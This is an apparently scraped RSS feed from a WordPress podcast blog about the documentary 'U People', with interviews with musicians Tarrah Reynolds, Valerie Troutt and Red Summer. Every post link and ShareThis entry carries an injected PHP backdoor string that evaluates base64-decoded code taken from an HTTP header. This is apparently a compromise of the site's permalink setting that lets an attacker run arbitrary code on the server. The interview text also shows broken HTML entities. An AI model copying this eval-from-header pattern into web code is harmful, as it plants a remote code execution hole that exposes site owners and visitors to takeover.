http://suckaforlife.com/upodcast the film. the love. the people. Thu, 04 Mar 2010 01:34:18 +0000 en hourly 1 http://wordpress.org/?v=3.0.3 ©Hanifah Walidah and Olive Demetrius trust_life@yahoo.com (Hanifah Walidah and Olive Demetrius) trust_life@yahoo.com(Hanifah Walidah and Olive Demetrius) 1440 are everywhere. A weekly bowl of interesting folks, music, viewership made videos based around the documentary U People. Hosted by filmmakers Hanifah Walidah and Olive Demetrius is also chronicles their experiences in making and pushing U People to the world. Hanifah Walidah and Olive Demetrius Hanifah Walidah and Olive Demetrius trust_life@yahoo.com No no http://suckaforlife.com/upodcast/wp-content/plugins/podpress/images/powered_by_podpress.jpg http://suckaforlife.com/upodcast 144 144 http://suckaforlife.com/upodcast/2008/10/09/jianda-speaks-to-u-people/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/ http://suckaforlife.com/upodcast/2008/10/09/jianda-speaks-to-u-people/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/#comments Fri, 10 Oct 2008 04:31:01 +0000 souloperator http://suckaforlife.com/upodcast/?p=351 SHARETHIS.addEntry({ title: "MUSIC: Jianda speaks to U People", url: "http://suckaforlife.com/upodcast/2008/10/09/jianda-speaks-to-u-people/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/" });]]> http://suckaforlife.com/upodcast/2008/10/09/jianda-speaks-to-u-people/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/feed/ 1 http://suckaforlife.com/upodcast/2008/09/18/tarrah-reynolds/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/ http://suckaforlife.com/upodcast/2008/09/18/tarrah-reynolds/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/#comments Fri, 19 Sep 2008 03:18:28 +0000 souloperator http://suckaforlife.com/upodcast/?p=316 SHARETHIS.addEntry({ title: "Tarrah Reynolds talks with U People", url: "http://suckaforlife.com/upodcast/2008/09/18/tarrah-reynolds/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/" });]]> http://suckaforlife.com/upodcast/2008/09/18/tarrah-reynolds/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/feed/ 0 4:42 Interviewed by: Tika Milan U PEOPLE: Your song ldquo;Where I want to gordquo;, which is a beautiful song, was featured on February U People Mix. Where ... Interviewed by: Tika Milan U PEOPLE: Your song ldquo;Where I want to gordquo;, which is a beautiful song, was featured on February U People Mix. Where did that song come from? TARRAH REYNOLDS: I wrote that song when I was fasting. I was so clear minded. I donrsquo;t know if yoursquo;ve ever fasted, but itrsquo;s that feeling of clarity and I felt that I could just see things that I hadnrsquo;t been able to see. I was basically talking about paradise and heaven. U PEOPLE: How long did you fast for? TARRAH REYNOLDS: I fasted for like 14th days. U PEOPLE: What other things inspire your work? TARRAH REYNOLDS: I just donrsquo;t push myself. I just wait for it to come. I honestly try not to force it. When I do that, itrsquo;s so irritating. Irsquo;m never happy with what I come up with. So I try to be relaxed and let it come to me as natural as possible. U PEOPLE: You attended Julliard and play the violin. How did the transition to guitarist and singer song writer come about? TARRAH REYNOLDS: While I was at Julliard, what really opened me up and made me see there were other possibilities was when someone called me to be in a Drsquo;Angelo video. That was the first thing I ever did outside of classical music. It was the first professional thing I did outside of an orchestra. U PEOPLE: What did you do in the Drsquo;Angelo video? TARRAH REYNOLDS: Just played the violin. I was a big fan of his and to able to work with someone outside of classical that I loved just made me want to do more of it. U PEOPLE: How do you find the balance between what you learned in school and what yoursquo;ve learned about your creativity outside of academia? TARRAH REYNOLDS: Sometimes I complain about Julliard, but I honestly am so glad I went there. I have better technical ability and such a literal understanding of music. That really helps me when I go sing with other singer-song writers or rappers, getting it happens so quickly. Irsquo;m very grateful for my education. U PEOPLE: Yoursquo;ve played with a variety of people from Tamar Kali and Imani Uzuri to Jay-Z and Kanye West.nbsp; How are able to span over so many different musical styles TARRAH REYNOLDS: I just really try not to have a specific style. Some people try to put me in a category, but Irsquo;ve never been one to focus on one particular style. Irsquo;ve never really been hardcore about one thing in particular. U PEOPLE: Yoursquo;re music sounds very jazzy and folk-y You kind of remind me of Joni Mitchell, but black. There is still soulfulness to it. How would you describe your sound? TARRAH REYNOLDS: Irsquo;m a big fan of Joni Mitchell. Melody is very very important to her and she is very crafty with it. I really love when people take the time to create a beautiful melody. I make my music melodic and soulful and pretty. U PEOPLE: So what do you have coming up? TARRAH REYNOLDS: Right now Irsquo;m trying to do a proper recording. I have a lot of live stuff. Itrsquo;s cool but I want to take it to the next step and have something more polished. I hope to have it finished at the end of the year. Visit Tarrah Reynolds at www.myspace.com/misstarrah Learn about the U People Download Music Mix Card here. Get your card today! ShareThis Archive,,Artist,Interviews,,U,Music Hanifah Walidah and Olive Demetrius no No http://suckaforlife.com/upodcast/2008/09/07/prepare-for-valerie-troutt/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/ http://suckaforlife.com/upodcast/2008/09/07/prepare-for-valerie-troutt/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/#comments Sun, 07 Sep 2008 21:41:09 +0000 souloperator http://suckaforlife.com/upodcast/?p=276 SHARETHIS.addEntry({ title: "Prepare for Valerie Troutt", url: "http://suckaforlife.com/upodcast/2008/09/07/prepare-for-valerie-troutt/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/" });]]> http://suckaforlife.com/upodcast/2008/09/07/prepare-for-valerie-troutt/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/feed/ 0 6:31 Interview by: Tika Milan Oakland native Valerie Troutt is an accomplished vocalist and songwriter with her music spanning the gambit from soul to world and gospel ... Interview by: Tika Milan Oakland native Valerie Troutt is an accomplished vocalist and songwriter with her music spanning the gambit from soul to world and gospel to electronica. Her velvet, soulful voice lends itself to tradition jazz tracks while her youthful and creative approach melds jazz to other genres without missing a beat. Her haunting love song "I Am Bound", was featured on U People Download Music Mix Card for April with DJ Lovelee and we at U People loved it so much that we asked Valerie to take time out of recording a new album due out next year and planning a European tour to discuss her inspirations, her plans for the future and the "fear of a fat planet." [caption id="" align="aligncenter" width="467" caption="Valerie Troutt-Prepare for the future"][/caption] Know more: http://www.myyspace.com/valerietroutt Here is the work-in-progress documentary short inspired by Valerie's new album "Prepare for a Future" ShareThis Archive,,Artist,Interviews,,U,Music Hanifah Walidah and Olive Demetrius no No http://suckaforlife.com/upodcast/2008/03/04/the-onliest/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/ http://suckaforlife.com/upodcast/2008/03/04/the-onliest/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/#comments Tue, 04 Mar 2008 16:31:51 +0000 souloperator http://suckaforlife.com/upodcast/2008/03/04/the-onliest/ SHARETHIS.addEntry({ title: "The Onliest", url: "http://suckaforlife.com/upodcast/2008/03/04/the-onliest/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/" });]]> http://suckaforlife.com/upodcast/2008/03/04/the-onliest/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/feed/ 6 http://suckaforlife.com/upodcast/2008/01/30/3-questions-red-summer/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/ http://suckaforlife.com/upodcast/2008/01/30/3-questions-red-summer/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/#comments Thu, 31 Jan 2008 06:29:31 +0000 souloperator http://suckaforlife.com/upodcast/?p=71 SHARETHIS.addEntry({ title: "3 Questions: Red Summer", url: "http://suckaforlife.com/upodcast/2008/01/30/3-questions-red-summer/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/" });]]> http://suckaforlife.com/upodcast/2008/01/30/3-questions-red-summer/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/feed/ 0 00:01:01 3 Questions is all you need to ask of artists who move us: I first met Red Summer at Sistafest in 2004. I thought she was ... 3 Questions is all you need to ask of artists who move us: I first met Red Summer at Sistafest in 2004. I thought she was barely over 21 and come to find out she is a mother, grandmother, teacher, poet and fellow sister on the grind. Over the years our friendship has grown as she maintains her place on my short list of poets who do it for me. She flew all the way from Chicago just to help out on the set of my music video Make A Move and subsequently found herself in the U People documentary. She then donated the song "Stillettos" to the U People soundtrack and has sealed her place in my life as sister and peer. So it was my pleasure for her to be the first to answer the following questions: 1. When was the first time you experienced the sensation of love (outside the context of a lover); when was it defined for you? my grandparents seemed, to me, to have a marriage of convenience. i never saw them argue or fight, but i never saw them kiss or hold each other either. when my grandmother was recovering from cancer treatments, she was very weak and the chemo left her skin in a dry, flaky state. the top layer would crumble under your touch. my grandfather came to the hospital and rubbed handfulls of eucerine cream into her skin each day to soothe her. one day, while watching him dutifully tend to my grandmother, i burst into tears. i realized that love is not what i thought it was at all. their love had embodied the vow we so readily take for granted. they took care of each other until death parted them. 2. What is the heaviest thing you ever carried and when did you put it down? the heaviest thing i ever carried was obligation. i did so many things in my life because i believed that was what i was supposed to do if i was good or nice or worthy. i did things because my parents wanted it, my teachers or principal wanted it, my religion dictated it or i thought that as a woman, i was supposed to do it. putting it down has been a struggle that has lasted almost 10 years. in 1999, i refused to go into a new phase with antiquated notions and live another year unhappily or untruthfully. so, slowly but surely, i've been unlearning all of those ideas and creating my own reality. 3. When did you accept the title artist and how have you defined that for yourself? i was raised to respect art. my mother surrounded me with musicians and singers and actors my entire childhood. i wanted to be... a school teacher. it wasn't until i really started going to open mics and reading my poetry, that i began taking my writing seriously. i took my first summer off from teaching and traveled around the country doing open mics. then every summer after that was dedicated to giving myself back what i had been giving my students. my art is my therapy, it's my testimony, it's my confession and my revelation. i don't know how else i would have been able to define who i am if it were not for my body of work. [audio:stillettos.mp3] Contact Red Summer at http://www.myspace.com/redsummerShareThis Archive,,Artist,Interviews,,U,Music Hanifah Walidah and Olive Demetrius no No